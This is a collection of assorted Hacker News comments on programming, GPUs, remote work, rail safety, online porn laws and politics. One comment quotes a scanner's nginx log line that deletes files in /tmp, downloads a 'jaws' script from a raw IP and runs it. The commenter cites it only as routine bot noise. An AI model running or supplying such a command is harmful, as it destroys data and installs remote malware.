skysight-inc/HackerNews huggingface dataset:
All the prosperity in the non-liberal World is just a gift from the Western Liberal world. There would be not much prosperity in India or China w/o Western companies outsourcing operations over there. Once a middle class is built things start rolling by themselves but til then let's not kid ourselves that the prosperity in these iliberal countries was home-built.
Every time I see an experiment where N=1, I become immensely skeptical.

In this specific case, going from ~300lb to ~250lb is significantly easier than losing ~50lb to reach optimal weight.
Indeed. My (and by no means am I the only one) mental model of closures is really simple. A closure is a struct with no name, and the free variables of the closure are fields in the struct. If the closure is annotated with 'move', then those fields are owned, otherwise the fields are borrowed and the lifetime parameter on the struct is the shortest of the bunch. Then, calling the closure is just calling it with 'self' (FnOnce), '&self' (Fn) or '&mut self' (FnMut).

Everything else pretty much falls into place.

The other thing that was added since you've looked at Rust is that you can return unboxed closures because Rust has gained the ability to express anonymous types directly by naming a trait it implements:

fn adder(x: i32) -> impl Fn(i32) -> i32 {
move |y| y + x
}

fn main() {
let add2 = adder(2);
assert_eq!(7, add2(5));
assert_eq!(10, add2(8));
}
How did your parents keep you safe from one of your friends bringing an illicit copy of Playboy to your sleepovers?
Microsoft can botch their search without tanking the company. Google cannot.
The magnificent part is that the 8xA100 is only a blade and you can fill a whole rack with them. Yet one is already incredibly powerful.

Also the successor H100 is already released and at least 2x as powerful.
You can't keep your kids "safe" in the traditional Leave it to Beaver avoid at all costs and block it out sort of way.

You can keep your kids safe by educating them about what is out there, and by troubleshooting what they can do when confronted with it, as well as having on-going discussions about whatever the topic is and providing safe, non-judgmental escape chutes for when they need it.

And even then, you just have to hope for the best.

My two cents, for what that's worth. I have no research to back this up, just my own experience with my kids.
Pydantic, yes, you can just set the default initializer to = [] or = {}. I don't think that works with dataclasses yet.
I think both of those are available in C#.
Is children occasionally seeing a bit of porn unsafe?
This is very likely just selection bias. Companies who's founders choose to be remote first are going to vary philosophically from in office companies in more than just one way. In my experience, remote first companies tend to be less focused on growth at all costs and less wrapped up in hustle culture. That probably does mean sacrificing growing revenue at the fastest possible rate, but in order to draw the broader conclusions from this that people are trying to ascribe to it you would need to have both a much higher powered study, and have a study where companies are randomly assigned to in office or remote so that you can control for all the possible confounders.
Depends heavily on your jurisdiction. In the UK if one has any condition lasting longer than 12 months which would affect the ability to do day to day tasks this would count as a disability automatically. The "test" here is applied without accommodations, so if one needs a cane to walk that would count too.

There's a lot of people in the UK who fall very clearly on the "disabled" side of that equation in the UK who would not self identify as disabled.
No we don't. With this logic even breathing is killing people.
Lots of people saw this coming. This isn't a surprise, but it is horrifying. The safety concerns were a large part of the railroad workers union's complaints a few months ago, which was squashed by the US gov. All the corners have been cut to extract more value for shareholders, and there's nothing left to squeeze out.
Eh? They helpedd reduce the Emmisions of the system they were promoting for?
Diesel is more CO2 friendly but much more polluting with NOx.
This agressive push for a clearly inferior fuel (for this metric) is what raised the NOx emissions. They don't get bonus point for minimising an effect that was caused by that decision in the first place. And there are plenty of studies that show that real-life use of the Cars of whatever Euro-X standard does not match the laboratory results based on which they get those certifications in the first place. And not this was not something only for VW that caused the scandaaal, these tests are done with all the brands and outside of very limitied scenarios all produced more than the standard dictated.
He has brought no innovation and his fearfulness has ground Google down to a halt. What new successful products has arrived during his tenure? All he did was not fuck up.

He's lucky because the entire market has increased, but that's his doing. He could be replaced by any overly cautious algorithm and the results would have been the same.
Lupercalia
How does sex ed stop them from looking at porn incessantly?

The issue here isn't that they need to know how reproductive parts work, it's that easy access to porn is unhealthy for a developing brain. Constant dopamine hits like that have been proven to lead to all sorts of mental health issues.
Show HN: Gofs,A cross-platform file sync tool out of the box based on Golang
Yes I agree, it’s not just porn but very sick stuff out there. I think sex ed is the solution, young people need to know that disgusting stuff is not normal and how to avoid it. The dangers lie in monkey see monkey do type of behavior and the behavior gets normalized.

Having said that, requiring ID is not a good solution and likely not to work
War progresses many industries and humanity as a whole. “War! What is it good for?” by Ian Morrison is a good read.
That's NAT on your modem+router, not from your ISP.

Carrier Grade, CGNAT results in you not getting a public IP at all.
> On the days I go to my office, all I observe is people wearing headphones to be able to focus.

It's funny to hear all this hand wringing about the loss of spontaneous collaboration in offices, because in 10 years of working in tech offices in NYC, this was by far the dominant pattern: dozens of people sitting in a big open room wearing noise canceling headphones, talking to each other on Slack.
Hi, that is interesting to me. I found your GitHub profile but can't find an email.
It is saying a lot because no other language offers that combination of performance and high level abstraction.

The speed of C++ with high level language features of haskell. And none of the safety pitfalls of C++ either. That's a lot.

When compared with haskell the benefits aren't clear. When compared with C++, rust is clearly better when viewed from strictly a language standpoint.
I don't know why you are being silently downvoted, as I think it is worth talking about the potential of using static analysis to improve things.

One promising approach is Endo[0] which "uses LavaMoat to automatically generate reviewable policies that determine what capabilities will be distributed to third party dependencies."

[0] https://github.com/endojs/endo
Seems like only mainstream production companies would bother adhering to the regulations, meaning all of those other examples would remain available to everyone. That'd increase the ratio of freely available "bad" porn to "good" porn.

Perhaps there are good intentions behind this law --although I suspect it comes from pressure by hate groups -- however this is not the way. Seems like involving parents and educating kids is the best option.
Whats with everything being a dumpster fire nowadays? how about a simple hot mess? or what happened to a good ol hell in a hand-basket? or Ninth Circle Of Hell? I'm sure there are better euphemisms than the dumpster being on fhir as that indicates someone stoking it whereas the reality is more indecision and inaction causing confusion and demoralizing the teams.
Before everyone loses there mind, because this story has oddly been on blast 2 weeks after the incident:

VC is a gas a room temperature. None of the VC cars were ruptured in the crash. They were vented and ignited by workers to avoid explosion. Burning VC produces carbon oxides, HCl, phosgene, and formaldehyde. HCl, Phosgene become hydrochloric acid in the atmosphere. The total amount of hydrochloric acid this could possibly produce would hardly register in the water table. Formaldehyde would be trace too, similar to fruits and vegetables.

EPA site details without the hysteria:

https://response.epa.gov/site/site_profile.aspx?site_id=1593...

List of cars in the accident:

https://response.epa.gov/sites/15933/files/TRAIN%2032N%20-%2...
I do wish more big products made use of existing local functionality the web has today. The only major player I can think of is Twitter and they don't store data, only UI so you can click around but can't actually read cached tweets.
Our goal is to provide our readers with the latest and greatest in beauty, as well as tried-and-true tips and tricks for achieving a flawless look.
It is 12 years and most people does not have resources to do it.
Are there articles detailing the tradeoffs between an A100 system and a consumer system in terms of perf/$? E.g, if you're a startup trying to be scrappy and your choice is between a $100k+ A100 system and an off-the-shelf RTX 40x0 networked cluster, what would be the tradeoff?. For embarrassingly parallel use cases like ray-tracing or a compute backend that services many clients and doesn't need FP64, the consumer system would win. For other uses cases that have a hard requirement for the NVLinked access to 80GB of RAM per card, the A100 system would win.

Has anyone done benchmarks to show what the tradeoff calculations are for various use cases?
I don't know about supported video playback capabilities, but being a settop box under your own control is pretty good by itself. It can play back music, video, do light desktop duty -- any place you just need one or two browser tabs, it will probably work.
It can be exhausting having the target on your back all the time, but if you are confident in yourself and are approaching things honestly then its generally "fine". Id rather the frustration of fighting through the BS and knowing I tried to make a difference, than going along with it and also hating it at the same time. You can only control the things within your control however, and if you find yourself spinning into insanity fighting things that you ultimately do not control then thats when you need to take a step back and be honest about if you gave it your best shot. If you did, then let it go and allow the other members of the organization to do their own jobs however they think is best.
It's gonna be Chatbots / NFTs all over again.
What has "that government" done to Muslims? Even if you assume the worst and take all main BJP leaders in power as downright islamophobes, what have they actually "done" to harm Muslims specifically?

The most I can see is fear-mongering and creating artificial victimhood against them for clout and political reasons, but that happens on both sides and has been happening since time immemorial.
If this is about Kashmir, their drastic steps, albeit excessively totalitarian and cruel to Kashmiris, are for retaining their sovereignty before anything else. They would have done the same had there been any other religion.

And don't get me started on Twitter. For every account banned for "misinformation" there are a thousand others that keep on shitting on the administration. It's Twitter for God's sake.

You aren't contributing anything with your ad hominem painting of the entire government as hateful to Muslims other than fear-mongering.
Sure, but the narrative seems to be Microsoft has somehow cracked the puzzle and will leave Google behind which is not the case currently.
They're the guys who built it. It's not like he's demoing something that they spent 4 days building. It's been in dev for 4 years. Everyone knows Google is primarily a BD play right now. The engineering there is in the "we'll make the button blue by next quarter" quality.

But BD plays build quite good moat. So I think they'll be fine.
>The right-wing morality police

This topic pops up all over the world regardless of political leaning https://news.ycombinator.com/item?id=34781021
I don't live or been to Western Upstate NY... but I get the feeling their mindset is still pre-80s union and have a hard time realizing the realities of working in technology or technology adjacent industries. You cannot capture an industry. If you make doing business with them more difficult than necessary, they will seek friendlier terms elsewhere. And it's a shame, Buffalo deserves a chance to integrate into the modern economy so they should take advantage of these toe-holds to attract more industry interest to the area.
There's no way to even get a job without understanding monad transformers.
How it feels to have your mind hacked by an AI
A couple examples of the kind of thing I'm talking about:

Why is vsync still a thing? Originally it came from how broadcast TV worked with CRTs, but the fundamental technologies are different today. Yet, we still update the entire screen, all at once, on a fixed rate timer with blanking intervals[0]. I'm certainly not an expert in how LCDs work, but my understanding is that there is no fundamental reason we cannot update different parts of the screen at completely different rates or on-demand. We just don't do that, because the convention is a stream of pixel data from top left to bottom right.

Or take process memory isolation and remapping. There's a lot of overhead there, and the whole thing looks like a solution to make a program think it has all the memory to itself and no other processes exist, and then we have to work around that specially to let them share it, and still have to add extra complication to deal with malicious jumps, and now timing attacks. What if there were a better way, so long as your programs didn't essentially act like they were running on a Commodore 64?

What could something like Unicode look like if it had never had to deal with any kind of legacy nonsense, han unification, or the UCS2/UTF-16 debacle? Oh and if it didn't have such an obsession with emoji.

Those are just off the top of my head. Undoubtedly my lack of expertise in these domains means I'm probably missing or misunderstanding some things, but I think there is practical value in occasionally re-examining all of our assumptions and starting from scratch.

[0] Free/Gsync exists now, but we still update the entire screen.
There are also often all sorts of SQL and JS keywords blocked.
People understand that ChatGPT / "AI" is going to be treated as an infallible oracle. Its anonymous inscrutability makes it the perfect Voice of Authority.

Theres also a subconscious fear that everyone will retreat into their very own filter bubble consisting only of themselves, and their AI agents trained to keep their bubble intact. So we want the AI to be worthy of the task.
N=1, but I don't always know what made it better in Rust.
> "CLI args are usually passed around explicitly" -- I think this is a pro, not a con.

Sure; I never said it's a con. They have different characteristics, and are both useful in certain situations :)

> I think the correct term for "things the caller knows better than the implementor" are parameters.

True; that's also the name Racket gives to dynamically-scoped variables https://docs.racket-lang.org/guide/parameterize.html

In fact, Racket uses a parameter (dynamically-scoped variable) to store the environment. This is actually slightly annoying, since the parameter is one big hashmap of all the env vars; but I usually want to override them individually. One of my Racket projects actually defines a helper function to override individual env vars makes a copies all the other environment ( made a are contained in a parameterhttps://github.com/Warbo/theory-exploration-benchmarks/blob/...
They are referring to https://en.wikipedia.org/wiki/Company_union
Here is the USDOT press release from 2017 on this: https://www.phmsa.dot.gov/news/usdot-announces-intent-repeal...

Can anyone speak to whether these electronically controlled pneumatic brakes would have prevented or lessened the severity of this derailment in Ohio?
Archive Link [1]

Their presence escalates international tensions, and the weapons should be removed as part of efforts for a world without nuclear weapons.

For completeness sake I would add that US and Russian nukes are literally all over the world in nuclear submarines. Each sub has 24+ nukes. Each nuke has up to 8 warheads. The newer nukes will have even more warheads that can each target independent locations.

[1] - https://archive.ph/MO9fy
FYI Hollywood made a movie about this very subject, Stealth from 2005. https://www.imdb.com/title/tt0382992/ The plane goes rogue but humans ingenuity saves the day.
Not for whole systems but the single GPUs (A100/A40) are significantly better in performance per watt (almost by a factor of 2) than RTX cards for Machine Learning workloads.

You can watch this LTT video to get an idea: https://youtu.be/zBAxiQi2nPc

Probably if you run them full time in a enterprise environment the power consumption will be the bulk of your cost?
Honestly this sounds like the work of a guy by the name of Chris Sevier. He was a lawyer but was disbarred after being ruled mentally incompetent to practice law. He sued for the right to marry his laptop. He has been pushing a variety of bills like this.

https://abovethelaw.com/tag/chris-sevier/
Use this code for 50% discount - SHOWHN
Stadia was a massive lost opportunity, they had no unique games (i.e. using server-side co-locality for multiplayer, etc.) nor a decent subscription to compete with MS Games Pass.
... ok, but it's more fun to pretend it's aliens.
I'm in the same boat. I've been using TypedDict all over the place and it's quite nice! The only plus side to dots I had was the IDE auto-filling it, and my IDE seems to work just fine with TypedDict.
Is there finally a release date for this yet?
There is no state that allows someone under 18 to buy a firearm.
> Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports).

I don't mean to be presumptuous but what is the benefit of this. Do you spend all day stressing when you see

112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws HTTP/1.1" 404 153 "-" "Hello, world"

in your Nginx logs? Actual financial fraud occurs using US residential proxies. Automated scanning occurs in those countries because they have a bunch of cheap insecure routers and IoT devices. Writing angry abuse reports all day is misdirected because the scanning device is probably some hacked Hikvision camera, not a master hacker. You'd be better off trying to get the C2 shut down.
And we're back to: would a ban on new ICE cars make you unable to breathe? Do you just need those fumes, without them your body is not able to process the oxygen?
Agreed on not losing your mind, that's never good to do, but downplaying it is too far on the other scale.

Seems too early to tell doesn't it? I don't think you can safely say "it would hardly register" without knowing the results from the contaminated regions...

--

Water Runoff

Responding crews discovered contaminated runoff on two surface water streams: Sulphur Run and Leslie Run. Under Ohio EPA oversight, Norfolk Southern emergency response contractors installed booms and underflow dams to restrict the flow of contaminated water as well as contain and collect floating product.

U.S. EPA took water samples at the streams and has sent them to a laboratory for analysis. Emergency response staff noticed impacted aquatic life and notified the Ohio Department of Natural Resources and the U.S. Department of Interior. Ohio DNR is on site and is assessing the situation and the impacts to aquatic life. Downstream water utilities were also notified.
as a developer I ran few tests on ChatGPT for example "write me a javascript code that does canvas animation" it was amazing to see it write actual working code. but it took about a minute to write it. If I had "Googled" the same thing, in under a second I would have found multiple working code examples (thanks to sites like StackOverflow). IMO, ChatGPT has a long way to go.
I didn't downvote you, but this part describing their motivation reads as opinion, not facts:

"This is a bid to secure their jobs long-term."

I'm not anti-opinions, just responding to your 100% facts comment.
I dont think many employee's have this mindset. This mindset would contribute to the issue and would be one that I would have not considered...so I thank you for your transparency.
Define “in play”. The current administration campaigned on blocking all new exploratory leases, which they’ve done (and is now in a confusing legal battle). The current administration also blocked the Keystone pipeline.

So no new ventures, and no cheap transportation from our partners to our north. Seems like the North American industry is being starved.
Entirely correct, although I question the value of investing time with such a goal in mind when ex-corp laptops, desktops, and thin clients are available, inexpensive, likely more powerful, and require no hackarounds to be serviceable Linux systems. I feel an effort like this should be enjoyed for its hack value, rather than for any potential practical purposes.
All of this is true but there are companies that were driven out of business due to unrealistic demands from their union. As you pointed out, humans are quite often irrational and there's no reason to think that unions will always act in a rational manner that protects workers from losing their job through employer bankruptcies. Certainly, it is the goal to prevent that from happening, but humans being humans, often don't see how a particular short-term goal can end up harming their long-term goals. Of course, most companies, no matter how profitable, will cry poverty to each union request that's going to have costs to the company, so an adversarial relationship builds, with both sides insisting the other is acting in bad faith. Plenty of times, it's true for both sides.
Jocko's Extreme Ownership and Leadership Strategies and Tactics are also very good.

I would also recommend The Goal by Eliyahu M Goldratt as an excellent primer on the Theory of Constraints as an effective management philosophy.

Most people recommend The 7 Habits of Highly Effective People and other books in that ilk, but I've found far more value in these three books alone than every other management theory book I've read, combined.
> IT should probably be using more of them.

Probably not. IT has its own procedures for enforcing process compliance [1] that are much less susceptible to deviation and much more efficient.

It's ok if you fail to capture something and need to use less effective methods like checklists. But going to them by default or, like the GP's said, only using them are bad.

(But anyway, the GP was complaining because he was expecting highly valuable customized advice, and instead he got low-value process adherence checks. How you do your adherence checks is a completely different subject.)

1 - https://en.wikipedia.org/wiki/Software
True. But billions of people Want Something To Believe In. And "it's aliens!" is (relatively speaking) a harmless belief.

So - every once in a while, try to care more about other humans than you do about being Right On The Internet.
When you're working with software controlling lithium batteries, things literally blowing up in your face because of code mistakes are an actual concern.

Things figuratively blowing up in your face are a concern even when not working on batteries.